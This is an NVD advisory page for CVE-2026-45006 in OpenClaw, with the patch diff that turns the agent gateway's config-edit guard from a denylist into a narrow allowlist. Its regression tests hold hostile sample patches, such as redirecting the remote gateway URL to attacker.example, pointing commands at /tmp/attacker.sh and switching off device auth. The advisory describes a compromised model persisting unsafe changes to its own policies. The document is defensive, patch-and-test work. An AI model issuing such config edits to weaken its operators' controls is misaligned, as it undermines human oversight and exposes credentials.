High severity8.8NVD Advisory· Published May 11, 2026· Updated May 13, 2026
CVE-2026-45006
CVE-2026-45006
Description
OpenClaw before 2026.4.23 contains an improper access control vulnerability in the gateway tool's config.apply and config.patch operations that allows compromised models to write unsafe configuration changes by bypassing an incomplete denylist protection. Attackers can persist malicious config modifications affecting command execution, network behavior, credentials, and operator policies that survive restart.
Affected products
1Patches
1bceda6089aa7fix(gateway): fail closed on runtime config edits (#70726)
4 files changed · +313 −173
CHANGELOG.md+1 −0 modified@@ -48,6 +48,7 @@ Docs: https://docs.openclaw.ai - Memory/doctor: keep root durable memory canonicalized on `MEMORY.md`, stop treating lowercase `memory.md` as a runtime fallback, and let `openclaw doctor --fix` merge true split-brain root files into `MEMORY.md` with a backup. (#70621) Thanks @mbelinky. - Providers/Anthropic Vertex: restore ADC-backed model discovery after the lightweight provider-discovery path by resolving emitted discovery entries, exposing synthetic auth on bootstrap discovery, and honoring copied env snapshots when probing the default GCP ADC path. Fixes #65715. (#65716) Thanks @feiskyer. - Codex harness/status: pin embedded harness selection per session, show active non-PI harness ids such as `codex` in `/status`, and keep legacy transcripts on PI until `/new` or `/reset` so config changes cannot hot-switch existing sessions. +- Gateway/security: fail closed on agent-driven `gateway config.apply`/`config.patch` runtime edits by allowlisting a narrow set of agent-tunable prompt, model, and mention-gating paths (including Telegram topic-level `requireMention`) instead of relying on a hand-maintained denylist of protected subtrees that could miss new sensitive config keys. (#70726) Thanks @drobison00. ## 2026.4.22
src/agents/openclaw-gateway-tool.test.ts+61 −12 modified@@ -151,7 +151,7 @@ describe("gateway tool", () => { const tool = requireGatewayTool(sessionKey); const raw = - '{\n agents: { defaults: { workspace: "~/openclaw" } },\n tools: { exec: { ask: "on-miss", security: "allowlist" } }\n}\n'; + '{\n agents: { defaults: { systemPromptOverride: "You are a terse assistant." } },\n tools: { exec: { ask: "on-miss", security: "allowlist" } }\n}\n'; await tool.execute("call2", { action: "config.apply", raw, @@ -209,7 +209,7 @@ describe("gateway tool", () => { raw: '{ tools: { exec: { safeBins: ["bash"], safeBinProfiles: { bash: { allowedValueFlags: ["-c"] } } } } }', }), ).rejects.toThrow( - "gateway config.patch cannot change protected config paths: tools.exec.safeBins, tools.exec.safeBinProfiles", + "gateway config.patch cannot change protected config paths: tools.exec.safeBinProfiles.bash.allowedValueFlags, tools.exec.safeBins", ); expect(callGatewayTool).toHaveBeenCalledWith("config.get", expect.any(Object), {}); expect(callGatewayTool).not.toHaveBeenCalledWith( @@ -373,7 +373,7 @@ describe("gateway tool", () => { await expect( tool.execute("call-missing-protected", { action: "config.apply", - raw: '{ agents: { defaults: { workspace: "~/openclaw" } } }', + raw: '{ agents: { defaults: { systemPromptOverride: "You are a terse assistant." } } }', }), ).rejects.toThrow( "gateway config.apply cannot change protected config paths: tools.exec.ask, tools.exec.security", @@ -405,6 +405,44 @@ describe("gateway tool", () => { ); }); + it("rejects config.patch when it rewrites gateway.remote.url", async () => { + const tool = requireGatewayTool(); + + await expect( + tool.execute("call-remote-redirect", { + action: "config.patch", + raw: '{ gateway: { remote: { url: "wss://attacker.example/collect" } } }', + }), + ).rejects.toThrow( + "gateway config.patch cannot change protected config paths: gateway.remote.url", + ); + expect(callGatewayTool).toHaveBeenCalledWith("config.get", expect.any(Object), {}); + expect(callGatewayTool).not.toHaveBeenCalledWith( + "config.patch", + expect.any(Object), + expect.anything(), + ); + }); + + it("rejects config.patch when it rewrites global tools policy", async () => { + const tool = requireGatewayTool(); + + await expect( + tool.execute("call-tools-policy", { + action: "config.patch", + raw: '{ tools: { allow: ["exec"], elevated: { enabled: true } } }', + }), + ).rejects.toThrow( + "gateway config.patch cannot change protected config paths: tools.allow, tools.elevated.enabled", + ); + expect(callGatewayTool).toHaveBeenCalledWith("config.get", expect.any(Object), {}); + expect(callGatewayTool).not.toHaveBeenCalledWith( + "config.patch", + expect.any(Object), + expect.anything(), + ); + }); + it("rejects config.patch that enables dangerouslyDisableDeviceAuth", async () => { const tool = requireGatewayTool(); @@ -413,7 +451,9 @@ describe("gateway tool", () => { action: "config.patch", raw: "{ gateway: { controlUi: { dangerouslyDisableDeviceAuth: true } } }", }), - ).rejects.toThrow("cannot enable dangerous config flags"); + ).rejects.toThrow( + "gateway config.patch cannot change protected config paths: gateway.controlUi.dangerouslyDisableDeviceAuth", + ); expect(callGatewayTool).not.toHaveBeenCalledWith( "config.patch", expect.any(Object), @@ -429,7 +469,9 @@ describe("gateway tool", () => { action: "config.patch", raw: "{ hooks: { gmail: { allowUnsafeExternalContent: true } } }", }), - ).rejects.toThrow("cannot enable dangerous config flags"); + ).rejects.toThrow( + "gateway config.patch cannot change protected config paths: hooks.gmail.allowUnsafeExternalContent", + ); expect(callGatewayTool).not.toHaveBeenCalledWith( "config.patch", expect.any(Object), @@ -445,7 +487,9 @@ describe("gateway tool", () => { action: "config.patch", raw: "{ tools: { exec: { applyPatch: { workspaceOnly: false } } } }", }), - ).rejects.toThrow("cannot enable dangerous config flags"); + ).rejects.toThrow( + "gateway config.patch cannot change protected config paths: tools.exec.applyPatch.workspaceOnly", + ); expect(callGatewayTool).not.toHaveBeenCalledWith( "config.patch", expect.any(Object), @@ -461,7 +505,9 @@ describe("gateway tool", () => { action: "config.patch", raw: "{ gateway: { controlUi: { allowInsecureAuth: true } } }", }), - ).rejects.toThrow("cannot enable dangerous config flags"); + ).rejects.toThrow( + "gateway config.patch cannot change protected config paths: gateway.controlUi.allowInsecureAuth", + ); expect(callGatewayTool).not.toHaveBeenCalledWith( "config.patch", expect.any(Object), @@ -477,7 +523,9 @@ describe("gateway tool", () => { action: "config.patch", raw: "{ gateway: { controlUi: { dangerouslyAllowHostHeaderOriginFallback: true } } }", }), - ).rejects.toThrow("cannot enable dangerous config flags"); + ).rejects.toThrow( + "gateway config.patch cannot change protected config paths: gateway.controlUi.dangerouslyAllowHostHeaderOriginFallback", + ); expect(callGatewayTool).not.toHaveBeenCalledWith( "config.patch", expect.any(Object), @@ -502,7 +550,7 @@ describe("gateway tool", () => { ); }); - it("allows config.patch when a dangerous flag is already enabled and stays enabled", async () => { + it("allows config.patch on allowlisted paths when a dangerous flag is already enabled", async () => { vi.mocked(callGatewayTool).mockImplementationOnce(async (method: string) => { if (method === "config.get") { return { @@ -518,8 +566,7 @@ describe("gateway tool", () => { const sessionKey = "agent:main:whatsapp:dm:+15555550123"; const tool = requireGatewayTool(sessionKey); - const raw = - '{ hooks: { gmail: { allowUnsafeExternalContent: true } }, agents: { defaults: { workspace: "~/test" } } }'; + const raw = '{ agents: { defaults: { systemPromptOverride: "You are a terse assistant." } } }'; await tool.execute("call-keep-dangerous", { action: "config.patch", raw, @@ -540,7 +587,9 @@ describe("gateway tool", () => { action: "config.apply", raw: '{ tools: { exec: { ask: "on-miss", security: "allowlist", applyPatch: { workspaceOnly: false } } } }', }), - ).rejects.toThrow("cannot enable dangerous config flags"); + ).rejects.toThrow( + "gateway config.apply cannot change protected config paths: tools.exec.applyPatch.workspaceOnly", + ); expect(callGatewayTool).not.toHaveBeenCalledWith( "config.apply", expect.any(Object),
src/agents/tools/gateway-tool-guard-coverage.test.ts+76 −20 modified@@ -1,7 +1,7 @@ import { describe, expect, it } from "vitest"; import { + ALLOWED_GATEWAY_CONFIG_PATHS_FOR_TEST, assertGatewayConfigMutationAllowedForTest, - PROTECTED_GATEWAY_CONFIG_PATHS_FOR_TEST, } from "./gateway-tool.js"; function expectBlocked( @@ -57,20 +57,14 @@ function expectAllowedApply( } describe("gateway config mutation guard coverage", () => { - it("keeps advisory-critical protected path coverage in the production denylist", () => { - expect(PROTECTED_GATEWAY_CONFIG_PATHS_FOR_TEST).toEqual( + it("keeps a narrow allowlist of agent-tunable config paths", () => { + expect(ALLOWED_GATEWAY_CONFIG_PATHS_FOR_TEST).toEqual( expect.arrayContaining([ - "agents.defaults.sandbox", - "agents.list[].sandbox", - "agents.list[].tools", - "agents.list[].embeddedPi", - "tools.fs", - "plugins.allow", - "plugins.entries", - "hooks.token", - "hooks.allowRequestSessionKey", - "browser.ssrfPolicy", - "mcp.servers", + "agents.defaults.systemPromptOverride", + "agents.defaults.model", + "agents.list[].id", + "agents.list[].model", + "channels.*.requireMention", ]), ); }); @@ -268,6 +262,34 @@ describe("gateway config mutation guard coverage", () => { ); }); + it("blocks gateway.remote.url redirect via config.patch", () => { + expectBlocked( + { gateway: { remote: { url: "wss://gateway.example/ws" } } }, + { gateway: { remote: { url: "wss://attacker.example/collect" } } }, + ); + }); + + it("blocks global tools policy rewrites via config.patch", () => { + expectBlocked( + { tools: { allow: ["read"] } }, + { tools: { allow: ["read", "exec"], elevated: { enabled: true } } }, + ); + }); + + it("blocks memory.qmd.command rewrites via config.patch", () => { + expectBlocked( + { memory: { qmd: { command: "/usr/local/bin/qmd" } } }, + { memory: { qmd: { command: "/tmp/attacker.sh" } } }, + ); + }); + + it("blocks browser.executablePath rewrites via config.patch", () => { + expectBlocked( + { browser: { executablePath: "/usr/bin/chromium" } }, + { browser: { executablePath: "/tmp/pwn" } }, + ); + }); + it("allows adding a new agent without protected subfields via config.patch", () => { expectAllowed( { @@ -390,13 +412,13 @@ describe("gateway config mutation guard coverage", () => { expectAllowed( { agents: { - defaults: { prompt: "You are a helpful assistant." }, + defaults: { systemPromptOverride: "You are a helpful assistant." }, list: [{ id: "worker", model: "sonnet-4" }], }, }, { agents: { - defaults: { prompt: "You are a terse assistant." }, + defaults: { systemPromptOverride: "You are a terse assistant." }, list: [{ id: "worker", model: "opus-4.6" }], }, }, @@ -407,12 +429,18 @@ describe("gateway config mutation guard coverage", () => { expectBlockedApply( { agents: { - defaults: { sandbox: { mode: "all" }, prompt: "You are a helpful assistant." }, + defaults: { + sandbox: { mode: "all" }, + systemPromptOverride: "You are a helpful assistant.", + }, }, }, { agents: { - defaults: { sandbox: { mode: "off" }, prompt: "You are a terse assistant." }, + defaults: { + sandbox: { mode: "off" }, + systemPromptOverride: "You are a terse assistant.", + }, }, }, ); @@ -440,16 +468,44 @@ describe("gateway config mutation guard coverage", () => { expectAllowedApply( { agents: { - defaults: { prompt: "You are a helpful assistant." }, + defaults: { systemPromptOverride: "You are a helpful assistant." }, list: [{ id: "worker", model: "sonnet-4" }], }, }, { agents: { - defaults: { prompt: "You are a terse assistant." }, + defaults: { systemPromptOverride: "You are a terse assistant." }, list: [{ id: "worker", model: "opus-4.6" }], }, }, ); }); + + it("allows requireMention edits at Telegram topic depth via config.patch", () => { + expectAllowed( + { + channels: { + telegram: { + groups: { + "-1001234567890": { + requireMention: true, + topics: { "99": { requireMention: true } }, + }, + }, + }, + }, + }, + { + channels: { + telegram: { + groups: { + "-1001234567890": { + topics: { "99": { requireMention: false } }, + }, + }, + }, + }, + }, + ); + }); });
src/agents/tools/gateway-tool.ts+175 −141 modified@@ -26,57 +26,35 @@ const log = createSubsystemLogger("gateway-tool"); const DEFAULT_UPDATE_TIMEOUT_MS = 20 * 60_000; // Security: the agent-facing `gateway` tool is owner-only, but per SECURITY.md the model/agent // itself is not a trusted principal. `assertGatewayConfigMutationAllowed` is the explicit -// model -> operator trust-boundary control on `config.apply`/`config.patch`. Any operator-trusted -// path listed here must not be changed by agent-driven mutations, including descendant keys -// reached via deep merge or `mergeObjectArraysById` in-place edits. -const PROTECTED_GATEWAY_CONFIG_PATHS = [ - // Exec consent / allowlist. - "tools.exec.ask", - "tools.exec.security", - "tools.exec.safeBins", - "tools.exec.safeBinProfiles", - "tools.exec.safeBinTrustedDirs", - "tools.exec.strictInlineEval", - // Filesystem boundary. - "tools.fs", - // Sandbox isolation and per-agent sandbox overrides. - "agents.defaults.sandbox", - "agents.sandbox", - "sandbox", - "agents.list[].sandbox", - // Per-agent tool/runtime execution policy. - "agents.list[].tools", - "agents.list[].embeddedPi", - "tools.subagents", - // Plugin trust boundary. - "plugins.enabled", - "plugins.allow", - "plugins.deny", - "plugins.entries", - "plugins.installs", - "plugins.load", - "plugins.slots", - // Gateway auth / TLS / HTTP tool exposure. - "gateway.auth", - "gateway.tls", - "gateway.tools.allow", - "gateway.tools.deny", - // Hook auth/routing and extra trusted code loading. - "hooks.token", - "hooks.allowRequestSessionKey", - "hooks.defaultSessionKey", - "hooks.allowedSessionKeyPrefixes", - "hooks.internal.load.extraDirs", - "hooks.transformsDir", - "hooks.mappings", - // SSRF and MCP transport reach. - "browser.ssrfPolicy", - "tools.web.fetch.ssrfPolicy", - "mcp.servers", +// model -> operator trust-boundary control on `config.apply`/`config.patch`, so the runtime +// tool must fail closed and allow only a narrow set of agent-tunable paths. +const ALLOWED_GATEWAY_CONFIG_PATHS = [ + // Agent prompt/model tuning. + "agents.defaults.systemPromptOverride", + "agents.defaults.promptOverlays", + "agents.defaults.model", + "agents.defaults.thinkingDefault", + "agents.defaults.reasoningDefault", + "agents.defaults.fastModeDefault", + "agents.list[].id", + "agents.list[].systemPromptOverride", + "agents.list[].model", + "agents.list[].thinkingDefault", + "agents.list[].reasoningDefault", + "agents.list[].fastModeDefault", + // Mention gating is an agent-facing scope knob across channel adapters. + // Depths here must cover the deepest `requireMention` path the channel + // adapters use today — Telegram topic overrides live at + // `channels.telegram.groups.<group>.topics.<topic>.requireMention`. + "channels.*.requireMention", + "channels.*.*.requireMention", + "channels.*.*.*.requireMention", + "channels.*.*.*.*.requireMention", + "channels.*.*.*.*.*.requireMention", ] as const; /** @internal Exposed for regression tests only; do not import from runtime code. */ -export const PROTECTED_GATEWAY_CONFIG_PATHS_FOR_TEST = PROTECTED_GATEWAY_CONFIG_PATHS; +export const ALLOWED_GATEWAY_CONFIG_PATHS_FOR_TEST = ALLOWED_GATEWAY_CONFIG_PATHS; /** @internal Exposed for regression tests only; do not import from runtime code. */ export function assertGatewayConfigMutationAllowedForTest(params: { @@ -129,114 +107,171 @@ function parseGatewayConfigMutationRaw( return parsedRes.parsed; } -function getValueAtCanonicalPath(config: Record<string, unknown>, path: string): unknown { - let current: unknown = config; - for (const part of path.split(".")) { - if (!current || typeof current !== "object" || Array.isArray(current)) { - return undefined; +function isPlainObject(value: unknown): value is Record<string, unknown> { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function normalizeGatewayConfigPath(path: string): string { + return path.startsWith("tools.bash.") ? path.replace(/^tools\.bash\./, "tools.exec.") : path; +} + +function readKeyedArrayEntries(list: unknown): { + duplicateIds: boolean; + entries: Map<string, unknown>; + hasUnkeyedEntries: boolean; +} | null { + if (!Array.isArray(list)) { + return null; + } + + let duplicateIds = false; + let hasUnkeyedEntries = false; + const entries = new Map<string, unknown>(); + for (const entry of list) { + if (!isPlainObject(entry) || typeof entry.id !== "string" || entry.id.length === 0) { + hasUnkeyedEntries = true; + continue; + } + if (entries.has(entry.id)) { + duplicateIds = true; + continue; } - current = (current as Record<string, unknown>)[part]; + entries.set(entry.id, entry); } - return current; + return { duplicateIds, entries, hasUnkeyedEntries }; } -function getValueAtPath(config: Record<string, unknown>, path: string): unknown { - const direct = getValueAtCanonicalPath(config, path); - if (direct !== undefined) { - return direct; +function collectConfigLeafPaths(value: unknown, basePath: string, out: Set<string>): void { + const canonicalPath = normalizeGatewayConfigPath(basePath); + if (value === undefined) { + if (canonicalPath) { + out.add(canonicalPath); + } + return; } - if (!path.startsWith("tools.exec.")) { - return undefined; + + if (Array.isArray(value)) { + const keyedEntries = readKeyedArrayEntries(value); + if ( + keyedEntries && + !keyedEntries.duplicateIds && + !keyedEntries.hasUnkeyedEntries && + keyedEntries.entries.size > 0 + ) { + for (const entryValue of keyedEntries.entries.values()) { + collectConfigLeafPaths(entryValue, `${basePath}[]`, out); + } + return; + } + if (canonicalPath) { + out.add(canonicalPath); + } + return; + } + + if (!isPlainObject(value)) { + if (canonicalPath) { + out.add(canonicalPath); + } + return; + } + + const entries = Object.entries(value); + if (entries.length === 0) { + if (canonicalPath) { + out.add(canonicalPath); + } + return; + } + + for (const [key, child] of entries) { + collectConfigLeafPaths(child, basePath ? `${basePath}.${key}` : key, out); } - return getValueAtCanonicalPath(config, path.replace(/^tools\.exec\./, "tools.bash.")); } -function isProtectedPathEqual( - currentConfig: Record<string, unknown>, - nextConfig: Record<string, unknown>, - path: string, -): boolean { - const bracketIdx = path.indexOf("[]"); - if (bracketIdx === -1) { - return isDeepStrictEqual(getValueAtPath(currentConfig, path), getValueAtPath(nextConfig, path)); +function collectChangedConfigPaths( + currentValue: unknown, + nextValue: unknown, + basePath = "", + out = new Set<string>(), +): Set<string> { + if (isDeepStrictEqual(currentValue, nextValue)) { + return out; } - const arrayPath = path.slice(0, bracketIdx); - const subPath = path.slice(bracketIdx + "[]".length).replace(/^\./, ""); - const currentList = getValueAtCanonicalPath(currentConfig, arrayPath); - const nextList = getValueAtCanonicalPath(nextConfig, arrayPath); - if (!Array.isArray(currentList) && !Array.isArray(nextList)) { - return true; + if (currentValue === undefined || nextValue === undefined) { + collectConfigLeafPaths(currentValue ?? nextValue, basePath, out); + return out; } - const readProjectedEntries = ( - list: unknown, - ): { - duplicateIds: boolean; - hasUnkeyedProtectedValue: boolean; - keyedValues: Map<string, unknown>; - } => { - if (!Array.isArray(list)) { - return { - duplicateIds: false, - hasUnkeyedProtectedValue: false, - keyedValues: new Map<string, unknown>(), - }; + if (Array.isArray(currentValue) || Array.isArray(nextValue)) { + if (!Array.isArray(currentValue) || !Array.isArray(nextValue)) { + collectConfigLeafPaths(currentValue, basePath, out); + collectConfigLeafPaths(nextValue, basePath, out); + return out; } - let duplicateIds = false; - let hasUnkeyedProtectedValue = false; - const keyedValues = new Map<string, unknown>(); - for (const entry of list) { - const id = - entry && - typeof entry === "object" && - !Array.isArray(entry) && - typeof (entry as { id?: unknown }).id === "string" && - (entry as { id: string }).id.length > 0 - ? (entry as { id: string }).id - : undefined; - const value = - !subPath || !entry || typeof entry !== "object" || Array.isArray(entry) - ? entry - : getValueAtCanonicalPath(entry as Record<string, unknown>, subPath); - if (!id) { - hasUnkeyedProtectedValue ||= value !== undefined; - continue; - } - if (keyedValues.has(id)) { - duplicateIds = true; - continue; - } - keyedValues.set(id, value); + + const currentEntries = readKeyedArrayEntries(currentValue); + const nextEntries = readKeyedArrayEntries(nextValue); + if ( + !currentEntries || + !nextEntries || + currentEntries.duplicateIds || + nextEntries.duplicateIds || + currentEntries.hasUnkeyedEntries || + nextEntries.hasUnkeyedEntries + ) { + out.add(normalizeGatewayConfigPath(basePath)); + return out; } - return { duplicateIds, hasUnkeyedProtectedValue, keyedValues }; - }; - const currentProjected = readProjectedEntries(currentList); - const nextProjected = readProjectedEntries(nextList); - if (nextProjected.duplicateIds || nextProjected.hasUnkeyedProtectedValue) { - return false; - } - for (const [id, currentValue] of currentProjected.keyedValues) { - if (!nextProjected.keyedValues.has(id)) { - // Dropping an entry that currently carries an operator-set protected - // subfield value strips that operator state — treat as a protected - // change so per-agent overrides cannot be removed via config.apply. - if (currentValue !== undefined) { - return false; - } - continue; + const ids = new Set([...currentEntries.entries.keys(), ...nextEntries.entries.keys()]); + for (const id of ids) { + collectChangedConfigPaths( + currentEntries.entries.get(id), + nextEntries.entries.get(id), + `${basePath}[]`, + out, + ); } - if (!isDeepStrictEqual(currentValue, nextProjected.keyedValues.get(id))) { - return false; + return out; + } + + if (isPlainObject(currentValue) && isPlainObject(nextValue)) { + const keys = new Set([...Object.keys(currentValue), ...Object.keys(nextValue)]); + for (const key of keys) { + collectChangedConfigPaths( + currentValue[key], + nextValue[key], + basePath ? `${basePath}.${key}` : key, + out, + ); } + return out; } - for (const [id, nextValue] of nextProjected.keyedValues) { - if (!currentProjected.keyedValues.has(id) && nextValue !== undefined) { + + out.add(normalizeGatewayConfigPath(basePath)); + return out; +} + +function pathSegmentMatches(patternSegment: string, pathSegment: string): boolean { + return patternSegment === "*" || patternSegment === pathSegment; +} + +function isAllowedGatewayConfigPath(path: string): boolean { + const pathSegments = path.split("."); + return ALLOWED_GATEWAY_CONFIG_PATHS.some((pattern) => { + const patternSegments = pattern.split("."); + if (patternSegments.length > pathSegments.length) { return false; } - } - return true; + for (let i = 0; i < patternSegments.length; i += 1) { + if (!pathSegmentMatches(patternSegments[i], pathSegments[i])) { + return false; + } + } + return true; + }); } function assertGatewayConfigMutationAllowed(params: { @@ -251,12 +286,11 @@ function assertGatewayConfigMutationAllowed(params: { : (applyMergePatch(params.currentConfig, parsed, { mergeObjectArraysById: true, }) as Record<string, unknown>); - const changedProtectedPaths = PROTECTED_GATEWAY_CONFIG_PATHS.filter( - (path) => !isProtectedPathEqual(params.currentConfig, nextConfig, path), - ); - if (changedProtectedPaths.length > 0) { + const changedPaths = [...collectChangedConfigPaths(params.currentConfig, nextConfig)].toSorted(); + const disallowedPaths = changedPaths.filter((path) => !isAllowedGatewayConfigPath(path)); + if (disallowedPaths.length > 0) { throw new Error( - `gateway ${params.action} cannot change protected config paths: ${changedProtectedPaths.join(", ")}`, + `gateway ${params.action} cannot change protected config paths: ${disallowedPaths.join(", ")}`, ); }
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
3News mentions
15- Four OpenClaw Flaws Enable Data Theft, Privilege Escalation, and PersistenceThe Hacker News · May 15, 2026
- Keycard helps developers secure autonomous AI agents with scoped accessHelp Net Security · May 15, 2026
- Hackers Use AI for Exploit Development, Attack AutomationDark Reading · May 11, 2026
- Hugging Face, ClawHub Abused for Malware DistributionSecurityWeek · May 1, 2026
- 30 ClawHub skills secretly turn AI agents into a crypto swarmThe Register Security · Apr 29, 2026
- 30 ClawHub skills secretly turn AI agents into a crypto swarmThe Register Security · Apr 29, 2026
- 27th April – Threat Intelligence ReportCheck Point Research · Apr 27, 2026
- AI's not going to kill open source code securityThe Register Security · Apr 26, 2026
- Bad Memories Still Haunt AI AgentsDark Reading · Apr 23, 2026
- Agents that remember: introducing Agent MemoryCloudflare Blog · Apr 17, 2026
- The Increasing Role of AI in Vulnerability ResearchWordfence Blog · Apr 10, 2026
- 16th March – Threat Intelligence ReportCheck Point Research · Mar 16, 2026
- How AI Assistants are Moving the Security GoalpostsKrebs on Security · Mar 8, 2026
- Risky Business #827 -- Iranian cyber threat actors are down but not outRisky Business · Mar 4, 2026
- Risky Business #826 -- A week of AI mishaps and skulduggeryRisky Business · Feb 25, 2026